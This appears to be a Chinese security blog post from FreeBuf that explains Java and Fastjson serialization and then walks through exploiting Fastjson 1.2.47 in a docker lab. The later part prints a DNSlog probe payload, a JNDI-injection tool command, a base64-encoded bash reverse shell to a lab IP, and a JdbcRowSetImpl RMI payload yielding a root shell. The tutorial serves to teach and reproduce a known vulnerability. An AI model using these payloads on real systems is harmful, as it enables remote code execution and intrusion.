freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

我对Fastjson 漏洞的理解
素年啊 2023-08-05 22:21:47 146375

Fastjson 介绍

Fastjson就是一个拿来处理 json 数据的, 现在为止处理json 数据就它最强最快,他是我们国内是阿里巴巴公司开源的一款JSON解析库。可用于将Java对象序列化为其JSON表示形式,也可以用于将JSON字符串反序列化为等效的Java对象。

序列化和反序列化

序列化 : 将一个对象转换成一条字符串, 可以永久存储 , 也便于传输;

反序列化: 将一条字符串重新构造成一个对象。

JAVA 序列化与反序列化

JAVA 的序列化: 在原生的JAVA序列化里, 如果需要对一个对象就行序列化,这个类就要实现Serializable接口 ,这个Serializable接口并没有任何的方法, 实现这个接口就说明实现这个接口的类具有序列化的能力, 也可以进行反序列化 ,如果一个类没有实现Serializable接口,那么当尝试对其对象进行序列化时,将会抛出java.io.NotSerializableException异常。

如下: 创建一个 Person 类, 并且实现 Serializable 接口

import java.io.Serializable;

public class Person implements Serializable {   // implements 实现

private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}
}

对这个类进行序列化和反序列化

import java.io.*;

public class SerializationExample {
public static void main(String[] args) {
// 创建一个 Person 对象
Person person = new Person("John", 30);

try {
// 1. 创建一个 ObjectOutputStream 来序列化对象并写入文件
FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream objectOut = new ObjectOutputStream(fileOut);

// 2. 序列化对象
objectOut.writeObject(person);

// 3. 关闭输出流
objectOut.close();
fileOut.close();
System.out.println("Person对象已序列化并写入person.ser文件。");
} catch (IOException e) {
e.printStackTrace();
}

try {
// 4. 创建一个 ObjectInputStream 来读取文件并反序列化对象
FileInputStream fileIn = new FileInputStream("person.ser");
ObjectInputStream objectIn = new ObjectInputStream(fileIn);

// 5. 反序列化对象
Person deserializedPerson = (Person) objectIn.readObject();

// 6. 关闭输入流
objectIn.close();
fileIn.close();

// 输出反序列化后的对象信息
System.out.println("Deserialized Person:");
System.out.println("Name: " + deserializedPerson.getName());
System.out.println("Age: " + deserializedPerson.getAge());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}

输出

Person对象已序列化并写入person.ser文件。
Deserialized Person:
Name: John
Age: 30

Fastjson 序列化与反序列化

Fastjson是一个高性能的JSON处理库,它使用了一种名为“反射”的技术来进行对象的序列化和反序列化。

利用Fastjson 对对象进行序列化

import com.alibaba.fastjson.JSON;

public class SerializationExample {
public static void main(String[] args) {
// Java 对象
Person person = new Person("John", 18);

// 将 Java 对象序列化为 JSON 数据
String json = JSON.toJSONString(person);

// 打印序列化后的 JSON 数据
System.out.println(json);
}
}

class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

Fastjson 将一个 json 数据反序列化成为对象

import com.alibaba.fastjson.JSON;

public class DeserializationExample {
public static void main(String[] args) {
// JSON 数据
String json = "{\"name\":\"Alice\",\"age\":25}";

// 将 JSON 数据反序列化为 Java 对象
Person person = JSON.parseObject(json, Person.class);

// 打印反序列化后的 Java 对象
System.out.println("Name: " + person.getName());
System.out.println("Age: " + person.getAge());
}
}

class Person {
private String name;
private int age;

public Person() {
// 无参构造方法,必须提供,用于反序列化
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

为什么出现 @type

Fastjson 在数据包传输json 数据的时候,他的结构可能为

{
"@type":"com.example.class",
"name":"John",
"age":18
}

就是说 Fastjson 会使用 @type key 值 告诉后端要进行反序列化的对象的类名为 com.exaple.class , 并且他的name属性为 John ,age 属性值为 18。

为什么需要使用 @type 呢? 比如说后端有多个类, 但是类里面都有 name age 属性 , 那程序该对哪个类进行反序列化呢?

如 : 利用一些上一个环节的类 , 如果还有一个 User 类

class User
private String name;
private int age;

public User() {
// 无参构造方法,必须提供,用于反序列化
}

public User(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

那程序需要对 Person 类 还是对 User 类进行反序列化化呢?

Fastjson 漏洞产生

根据上一个环节, 我们可以知道可以通过 @type来告诉程序我们需要对哪一个类进行反序列化, 还有顺便给这个类的属性进行传值即: name age ;

根据这个想法,那我们是不是也可以利用 @type 指定一些 java 里面的其他的类,而且还可以给这个类的属性进行赋值 ,这样我们不就可以控制java 里面的一些类来进行一些我们想要的操作了。

Fastjson 漏洞复现

这里利用的是docker vuln 环境 , 使用的是 Fastjson 1.2.47。

Fastjson 探测

如果我们一般遇到一个网站, 他的数据包传递数据是以 json 形式去传递数据的那我们可以利用以下办法去探测是否可能是fastjson 漏洞。

报错探测,利用不完整的json 数据,让服务器报错返回信息

{
"age":18

正确探测

image-20230805221403680

那探测他是否存在 Fastjson 漏洞呢?

dnslog 探测

顺便探测 Fastjson 是否可以出网

先获取 Dnslog 生成子域名

image-20230805205717335

这里有一个payload

{
"x":{
"@type":"java.net.Inet4Address",
"val":"cg52u7.dnslog.cn"
}
}
  1. "x":这是一个 JSON 对象的键,它的值是另一个嵌套的 JSON 对象。

  2. "@type": "java.net.Inet4Address":这里指定了要反序列化的类名为java.net.Inet4Address,它是 Java 中用于表示 IPv4 地址的类, 这样就告诉 JAVA 他要反序列化的类是哪个 .

  3. "val": "nvuzfb.dnslog.cn":这里指定了要传递给Inet4Address类的val属性的值为 "nvuzfb.dnslog.cn"。

Fastjson 在反序列化过程中,会尝试实例化指定的类java.net.Inet4Address,然后调用其构造方法进行初始化。在构造方法中,由于Inet4Address类没有正确实现readObjectreadResolve方法(Fastjson 默认不允许调用类的构造方法,但会绕过readObjectreadResolve),攻击者可以通过构造恶意的val参数,导致 DNS 查询,从而触发 DNSlog 攻击。

image-20230805205852760

发现 DNslog 有反应

image-20230805210430361

Fastjson 工具利用

这里简单介绍一下 ,在JAVA 里面有一个 JNDI 的概念,他的全称是 Java命名和目录接口 , JNDI 是 Java 中用于访问命名和目录服务的 API,它可以和 RMI、LDAP 等服务集成,允许 Java 程序在分布式环境中访问远程对象和目录数据。

什么意思呢? 这里我个人理解就是利用一个服务器开始一个 JNDI 的服务接口, 这个服务里面可以包含很多的类文件, 如何我们就可以通过 RMI 或者 LDAP 协议去远程访问 JNDI 这个服务, 在这个服务里面获取我们想要的类。

再简单理解一个就是让客户端去远程去包含一个类到本地,然后Fastjson 再反序列化这个类造成命令执行漏洞 (这个类因为是我们在我们自己搭建的服务器里面的,所以它可以是带有恶意攻击的类)。

在Fastjson 漏洞利用中就提供了一个工具来实现这个效果,工具: JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

使用:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A 服务器地址
如: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping dnslog" -A 192.168.6.5

这里我们使用的java 环境是 java 1.8

Fastjson 反弹shell

制作反弹shell 命令 , 因为一些其他原因, 需要对 反弹shell 命令进行 base64 编码 ,再解码

bash -i  >& /dev/tcp/192.168.57.129/8899 0>&1  base64 -> YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx


bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

启动 JDNI 服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.57.129

image-20230805220541483

上面框框的就是生成的payload 地址, 接下来 rmi 协议的一个个地组合到 以下payload 里面试试, 因为我也不确定哪一个一定行

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.57.129:1099/dqh9mg",
"autoCommit":true
}
}

记得开启 nc 监听

image-20230805220805780

最后在 Burp 里使用 payload

image-20230805220953922

最后成功接收到反弹shell , 直接是 root 权限

image-20230805221035207

最后

到了最后,我再想声明一下, 因为我的能力有限, 所以如果上面有不对的地方,可以提醒一下哈 !

# 漏洞 # 渗透测试 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 素年啊 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
素年啊 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 5 关注者
Log4j2 漏洞复现
2023-08-30
MSF实现二层代理实验
2023-06-15
文章目录